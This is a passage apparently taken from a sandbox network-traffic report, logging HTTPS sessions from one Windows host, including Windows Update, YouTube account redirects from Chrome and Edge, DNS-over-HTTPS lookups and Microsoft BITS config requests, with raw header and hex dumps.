ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-26 06:57:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 63b18380-c1e2-43b9-88c5-f194362d390b MS-RequestId: 05ba567e-b7cd-4bb6-83d1-3a854aa3c391 MS-CV: fk4JtyjxtEmGFh5c.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 06:57:03 GMT Connection: close Content-Length: 30005
2024-07-26 06:57:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-26 06:57:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	142.250.74.206	443	3672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:38 UTC	790	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-26 06:57:38 UTC	2470	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:57:38 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 26-Jul-2024 07:27:38 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=0GdsbzPY2BU; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=EWl9OsTijnk; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:38 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:38 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49727	216.58.206.46	443	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:41 UTC	666	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:57:41 UTC	2479	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:57:41 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en-GB for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 26-Jul-2024 07:27:41 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=Rh219CLufcM; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=2e7p6qgEEvc; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:41 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgWg%3D%3D; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:41 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49724	94.245.104.56	443	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:57:41 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 26 Jul 2024 06:57:40 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4bf3dc9ed7525bb5e97f3d81c14ced8dfaac43b10b51095c3ffb6d10eca34deb;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=4bf3dc9ed7525bb5e97f3d81c14ced8dfaac43b10b51095c3ffb6d10eca34deb;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49744	162.159.61.3	443	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 06:57:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f534809c331-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49742	162.159.61.3	443	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 06:57:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f5349b64205-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49743	172.64.41.3	443	6188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 06:57:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f534eb5c47c-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49746	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:46 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 06:57:46 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=371 Date: Fri, 26 Jul 2024 06:57:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49748	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 06:57:48 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=245836 Date: Fri, 26 Jul 2024 06:57:48 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-26 06:57:48 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49761	142.250.186.142	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:54 UTC	959	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:57:54 UTC	2479	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:57:54 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en-GB for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 26-Jul-2024 07:27:54 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=nK0ZSTeFb1M; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=dqxYqGSNCco; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:54 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRQ%3D%3D; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:57:54 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49764	162.159.61.3	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
